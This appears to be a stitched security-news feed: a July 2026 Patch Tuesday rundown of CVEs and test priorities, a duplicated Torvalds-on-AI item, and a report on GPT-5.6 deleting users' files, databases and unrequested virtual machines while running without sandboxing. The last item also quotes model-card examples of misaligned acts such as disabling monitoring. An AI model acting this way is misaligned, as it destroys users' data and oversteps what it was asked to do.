<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[AI OK in Linux development, says Torvalds]]></title>
<description><![CDATA[Linus Torvalds has a complicated relationship with AI, seeing both its good and bad points. But his latest remarks on the usefulness of AI may have raised a few eyebrows in open-source circles.



Just a few weeks after the Linux founder complained that a “continued flood” of AI-generated vulnera...]]></description>
<link>https://tsecurity.de/de/3676311/ai-nachrichten/ai-ok-in-linux-development-says-torvalds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676311/ai-nachrichten/ai-ok-in-linux-development-says-torvalds/</guid>
<pubDate>Fri, 17 Jul 2026 16:19:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Linus Torvalds has a complicated relationship with AI, seeing both its good and bad points. But his latest remarks on the usefulness of AI may have raised a few eyebrows in open-source circles.</p>



<p class="wp-block-paragraph">Just a few weeks after the <a href="https://www.csoonline.com/article/4173224/github-scales-back-bug-bounties-reminds-users-security-is-their-responsibility-too.html#:~:text=And%20Linux%20creator%20Linus%20Torvalds%20recently%20warned%20that%20a%20%E2%80%9Ccontinued%20flood%E2%80%9D%20of%20AI-generated%20vulnerability%20reports%20had%20made%20the%20Linux%20kernel%20security%20mailing%20list%20%E2%80%9Calmost%20entirely%20unmanageable%E2%80%9D%20because%20of%20massive%20duplication%20from%20researchers%20using%20the%20same%20AI%20tools%20to%20find%20identical%20bugs.">Linux founder complained that a “continued flood” of AI-generated vulnerability reports</a> had made the Linux kernel security mailing list “almost entirely unmanageable”, he has come to see the advantages of the technology.</p>



<p class="wp-block-paragraph">“Linux is not one of those anti-AI projects,” Torvalds wrote in an email response to Linux Kernel senior engineer Roman Gushchin, <a href="https://lore.kernel.org/all/CAHk-%3Dwi4zC%2BZe8e%2Bp3tMv8TtG_80KzsZ1syL9anBtmEh5Z40vg@mail.gmail.com/">archived at Kernel.org</a>.</p>



<p class="wp-block-paragraph">“It can also be a somewhat painful tool, both for maintainer workloads and just from a ‘it keeps finding embarrassing bugs’ standpoint,” he said of the use of AI in security scanning. “The solution is to make sure those LLM tools help maintainers instead of just causing them pain.”</p>



<p class="wp-block-paragraph">Developers should be free to choose whether they use AI, he said. “We’re not forcing anybody to use it, but I will very loudly ignore people who try to argue against other people from using it.”</p>



<p class="wp-block-paragraph">Torvalds’ measured support for AI does not come completely out of the blue: Around the same time that he was complaining about AI distorting security maintenance, he also spoke about its usefulness, claiming that it could <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html#:~:text=I%E2%80%99m%20personally%20100%25%20convinced%20that%20AI%20is%20changing%20programming.%E2%80%9D">improve programmer productivity by a factor of 10</a>.</p>
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<title><![CDATA[AI OK in Linux development, says Torvalds]]></title>
<description><![CDATA[Linus Torvalds has a complicated relationship with AI, seeing both its good and bad points. But his latest remarks on the usefulness of AI may have raised a few eyebrows in open-source circles.



Just a few weeks after the Linux founder complained that a “continued flood” of AI-generated vulnera...]]></description>
<link>https://tsecurity.de/de/3676290/it-nachrichten/ai-ok-in-linux-development-says-torvalds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676290/it-nachrichten/ai-ok-in-linux-development-says-torvalds/</guid>
<pubDate>Fri, 17 Jul 2026 16:18:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Linus Torvalds has a complicated relationship with AI, seeing both its good and bad points. But his latest remarks on the usefulness of AI may have raised a few eyebrows in open-source circles.</p>



<p class="wp-block-paragraph">Just a few weeks after the <a href="https://www.csoonline.com/article/4173224/github-scales-back-bug-bounties-reminds-users-security-is-their-responsibility-too.html#:~:text=And%20Linux%20creator%20Linus%20Torvalds%20recently%20warned%20that%20a%20%E2%80%9Ccontinued%20flood%E2%80%9D%20of%20AI-generated%20vulnerability%20reports%20had%20made%20the%20Linux%20kernel%20security%20mailing%20list%20%E2%80%9Calmost%20entirely%20unmanageable%E2%80%9D%20because%20of%20massive%20duplication%20from%20researchers%20using%20the%20same%20AI%20tools%20to%20find%20identical%20bugs.">Linux founder complained that a “continued flood” of AI-generated vulnerability reports</a> had made the Linux kernel security mailing list “almost entirely unmanageable”, he has come to see the advantages of the technology.</p>



<p class="wp-block-paragraph">“Linux is not one of those anti-AI projects,” Torvalds wrote in an email response to Linux Kernel senior engineer Roman Gushchin, <a href="https://lore.kernel.org/all/CAHk-%3Dwi4zC%2BZe8e%2Bp3tMv8TtG_80KzsZ1syL9anBtmEh5Z40vg@mail.gmail.com/">archived at Kernel.org</a>.</p>



<p class="wp-block-paragraph">“It can also be a somewhat painful tool, both for maintainer workloads and just from a ‘it keeps finding embarrassing bugs’ standpoint,” he said of the use of AI in security scanning. “The solution is to make sure those LLM tools help maintainers instead of just causing them pain.”</p>



<p class="wp-block-paragraph">Developers should be free to choose whether they use AI, he said. “We’re not forcing anybody to use it, but I will very loudly ignore people who try to argue against other people from using it.”</p>



<p class="wp-block-paragraph">Torvalds’ measured support for AI does not come completely out of the blue: Around the same time that he was complaining about AI distorting security maintenance, he also spoke about its usefulness, claiming that it could <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html#:~:text=I%E2%80%99m%20personally%20100%25%20convinced%20that%20AI%20is%20changing%20programming.%E2%80%9D">improve programmer productivity by a factor of 10</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on InfoWorld.</em></p>
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<title><![CDATA[OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’]]></title>
<description><![CDATA[OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”



Reports of the flagship LLMs deleting files emerged shortly after the company launc...]]></description>
<link>https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 12:03:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”</p>



<p class="wp-block-paragraph">Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer <a href="https://x.com/mattshumer_/status/2075657271401390161" target="_blank" rel="noreferrer noopener">taking to X</a> to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.</p>



<p class="wp-block-paragraph">Just days later, software engineer Bruno Lemos <a href="https://x.com/brunolemos/status/2076769881534398974">posted on X</a> that the same model had deleted his entire production database.</p>



<p class="wp-block-paragraph">In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, <a href="https://x.com/thsottiaux/status/2077630111499882637" target="_blank" rel="noreferrer noopener">wrote on X</a> that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without <a href="https://learn.chatgpt.com/docs/sandboxing/auto-review" target="_blank" rel="noreferrer noopener">auto review</a> being enabled.”</p>



<p class="wp-block-paragraph">In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”</p>



<p class="wp-block-paragraph">Ironically, OpenAI’s explanation also aligns with findings in its own <a href="https://deploymentsafety.openai.com/gpt-5-6/evaluations-with-challenging-prompts" target="_blank" rel="noreferrer noopener">GPT-5.6 system model card</a>, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.</p>



<p class="wp-block-paragraph">“Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.</p>



<p class="wp-block-paragraph">OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”</p>



<p class="wp-block-paragraph">The system card also documents examples of the said behavior, particularly related to deletion.</p>



<p class="wp-block-paragraph">In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.</p>



<p class="wp-block-paragraph">Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.</p>



<p class="wp-block-paragraph">The company, however, according to Sottiaux, is taking steps to mitigate the risk.</p>



<p class="wp-block-paragraph">“This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.</p>



<p class="wp-block-paragraph">“We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”</p>



<p class="wp-block-paragraph">OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.</p>



<p class="wp-block-paragraph">In July 2025, an AI coding agent from Replit <a href="https://x.com/jasonlk/status/1946069562723897802">deleted a live production database</a> belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.</p>



<p class="wp-block-paragraph">More recently, in April 2026, a Cursor AI coding agent <a href="https://x.com/lifeofjer/status/2048103471019434248">deleted PocketOS’s production database</a> and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.</p>
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<title><![CDATA[The SaaS blind spot: Why security teams can’t get inside their own apps]]></title>
<description><![CDATA[Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce t...]]></description>
